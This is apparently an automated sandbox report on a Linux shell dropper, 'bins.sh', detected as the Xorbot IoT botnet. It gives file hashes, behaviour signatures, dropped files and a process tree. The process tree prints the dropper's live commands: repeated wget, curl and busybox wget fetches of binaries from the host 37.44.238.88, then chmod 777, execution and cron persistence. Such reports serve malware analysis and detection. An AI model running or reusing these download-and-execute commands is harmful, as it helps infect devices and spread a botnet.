Analysis

  • max time kernel
    150s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18-02-2025 06:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ae6136121956abc1a50774d0506512be

  • SHA1

    332e3005c23b53969233cc3687a2a218ba8c9e49

  • SHA256

    aeef0eb99ff7d1547783b933b305ce22b99df10165cb1ce3540b7f6f641cfce0

  • SHA512

    b29d1f2409339bdca9c2c3fddbbcf9536583ad60cc6cb5d1a089e9a96df4925a87f0df163dcfb4a6b07e728c431aa33bb8f22f5f7cf0dad76f082322741c571a

  • SSDEEP

    192:aL63I16h6J6wnfJEuWT0szS6h6J6wnrKuWT0szn:aL63I16h6J6wnBEuWT0szS6h6J6wnuuw

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1752) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:653
      • /usr/bin/wget
        wget http://37.44.238.88/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • Writes file to tmp directory
        PID:656
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:672
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • Writes file to tmp directory
        PID:682
      • /bin/chmod
        chmod 777 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • File and Directory Permissions Modification
        PID:684
      • /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        ./0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
          PID:685
        • /bin/rm
          rm 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
          2⤵
            PID:687
          • /usr/bin/wget
            wget http://37.44.238.88/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • Writes file to tmp directory
            PID:689
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:690
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • Writes file to tmp directory
            PID:691
          • /bin/chmod
            chmod 777 Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • File and Directory Permissions Modification
            PID:695
          • /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            ./Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
              PID:697
            • /bin/rm
              rm Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
              2⤵
                PID:699
              • /usr/bin/wget
                wget http://37.44.238.88/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • Writes file to tmp directory
                PID:701
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:706
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • Writes file to tmp directory
                PID:713
              • /bin/chmod
                chmod 777 B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • File and Directory Permissions Modification
                PID:717
              • /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                ./B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                  PID:718
                • /bin/rm
                  rm B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                  2⤵
                    PID:720
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • Writes file to tmp directory
                    PID:722
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:728
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • Writes file to tmp directory
                    PID:736
                  • /bin/chmod
                    chmod 777 sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • File and Directory Permissions Modification
                    PID:739
                  • /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    ./sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                      PID:741
                    • /bin/rm
                      rm sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                      2⤵
                        PID:745
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • Writes file to tmp directory
                        PID:747
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:753
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • Writes file to tmp directory
                        PID:757
                      • /bin/chmod
                        chmod 777 bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • File and Directory Permissions Modification
                        PID:758
                      • /tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        ./bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:759
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:761
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:762
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:763
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:764
                            • /bin/rm
                              rm bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                              2⤵
                                PID:772
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/cR8g7mQo7cqv11L61BOzyoE1qJxDoLA0H4
                                2⤵
                                  PID:775

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /var/spool/cron/crontabs/tmp.W9es1T

                                Filesize

                                210B

                                MD5

                                7d6aec2187fa73956c7a7ba6a0571131

                                SHA1

                                6d7715cfcd9f119b858a85cc53e9dea29da86d49

                                SHA256

                                7f43318f1fbfc7a21d5f25791efc478f48611c8f0e22c880ecbd6a2b8a3fb411

                                SHA512

                                bc33f279acb220806287d11c4f34a70616bfb7c97cf04aec5f740c9ee42f797aa2a47558d525f3ef864ee4d473c6951fbf110c0a67ecd4ed70c3a982bf249023